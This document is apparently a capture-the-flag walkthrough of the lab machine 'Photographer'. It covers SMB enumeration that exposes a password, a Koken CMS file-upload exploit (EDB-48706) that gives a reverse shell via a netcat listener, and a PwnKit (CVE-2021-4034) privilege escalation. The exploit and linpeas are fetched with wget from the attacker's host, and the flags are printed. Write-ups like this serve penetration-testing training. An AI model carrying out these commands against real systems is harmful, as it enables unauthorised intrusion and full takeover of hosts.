

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.181.76 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.181.76:22
Open 192.168.181.76:80
Open 192.168.181.76:139
Open 192.168.181.76:445
Open 192.168.181.76:8000

PORT      STATE SERVICE      REASON  VERSION
22/tcp    open  ssh          syn-ack  OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         syn-ack  Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_ http-title: Photographer by vlnlv13lr4
139/tcp   open  netbios-ssn  syn-ack  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  syn-ack  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp  open  http         syn-ack  Apache httpd 2.4.18 ((Ubuntu))
|_ http-generator: Koken 0.22.24
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: daisa ahomi
|_ http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: PHOTOGRAPHER; OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` smbFirst ```
(kali㉿kali)-[~/pgplay]
└─$ smbclient -N -L 192.168.181.76

 Sharename Type Comment

 print$ Disk Printer Drivers
 sambashare Disk Samba on Ubuntu
 IPC$ IPC IPC Service (photographer server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

 Server Comment

 Workgroup Master

 WORKGROUP PHOTOGRAPHER

(kali㉿kali)-[~/pgplay]
└─$ smbclient -N //192.168.181.76/sambashare
Try "help" to get a list of possible commands.
smb: \> dir

. D 0 Thu Aug 20 11:51:08 2020
.. D 0 Thu Aug 20 12:08:59 2020
mailest.txt N 503 Mon Jul 20 21:29:40 2020
wordpress.bkp.zip N 13930308 Mon Jul 20 21:22:23 2020

 3300080 blocks of size 1024. 2958792 blocks available
smb: \> get mailest.txt
smb: \> get wordpress.bkp.zip
``` Check 'mailest.txt', can get `daisa@photographer.com` and password `babygirl`

```

Message-ID: 4129F3CA.2020509@dc.edu (mailto:4129F3CA.2020509@dc.edu)

Date: Mon, 20 Jul 2020 11:40:36 -0400

From: Agi Clarence agi@photographer.com (mailto:agi@photographer.com)

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0

X-Accept-Language: en-us, en

MIME-Version: 1.0

To: Daisa Ahomi daisa@photographer.com (mailto:daisa@photographer.com)

Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)
`` Go to <http://192.168.181.76:8000> and perform ffuf

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.181.76:8000/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt -fw 1

.htpasswd [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 82ms]
.htaccess [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 88ms]
.hta [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 91ms]
admin [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 63ms]
app [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 65ms]
index.php [Status: 200, Size: 4603, Words: 206, Lines: 95, Duration: 71ms]
server-status [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 63ms]
storage [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 63ms]
:: Progress: [4727/4727] :: Job [1/1] :: 591 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
`` Go to`http://192.168.181.76:8000/admin`has a `koken`'s
loginpage,use`daisa@photographer.com`andpassword`babygirl`login,Refer to[edb-48706](https://www.exploit-
db.com/exploits/48706)
Create`image.php.jpg`inside shell.php Click`Import Content`afterstartburpsuite
```

```
-----17805986727773904083049195948
Content-Disposition: form-data; name="name"

image.php <--- change to image.php
-----17805986727773904083049195948
Content-Disposition: form-data; name="chunk"

0
-----17805986727773904083049195948
Content-Disposition: form-data; name="chunks"

1
-----17805986727773904083049195948
Content-Disposition: form-data; name="upload_session_start"

1717662683
-----17805986727773904083049195948
Content-Disposition: form-data; name="visibility"

public
-----17805986727773904083049195948
Content-Disposition: form-data; name="license"

all
-----17805986727773904083049195948
Content-Disposition: form-data; name="max_download"

none
-----17805986727773904083049195948
Content-Disposition: form-data; name="file"; filename="image.php" <--- rename
Content-Type: image/jpeg
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp445
`` After copying the URL,,Go tohttp://192.168.181.76:8000/content/image/image.php,wait for reverse shell,in
/home/daisacan get local.txt
```

```
www-data@photographer:/home/daisa$ cat local.txt
6e572b8d0e6abdb66abcd443b713b786
```` `linpeas.sh`
```

```
www-data@photographer:/tmp$ wget 192.168.45.183/linpeas.sh
www-data@photographer:/tmp$ chmod +x linpeas.sh
www-data@photographer:/tmp$./linpeas.sh
```

[+] [CVE-2021-4034] PwnKit

Details: <https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>

Exposure: probable

Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro

Download URL: <https://codeload.github.com/berdav/CVE-2021-4034/zip/main>

---

```
www-data@photographer:/tmp$ wget 192.168.45.183/CVE-2021-4034.py
```

```
www-data@photographer:/tmp$ python3 CVE-2021-4034.py
```

```
python3 CVE-2021-4034.py
```

```
[+] Creating shared library for exploit code.
```

```
[+] Calling execve()
```

## whoami

```
root
```

## python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@photographer:/root# cat proof.txt
```

```
246943f89141fae3ea0039e70fa0666e
```

---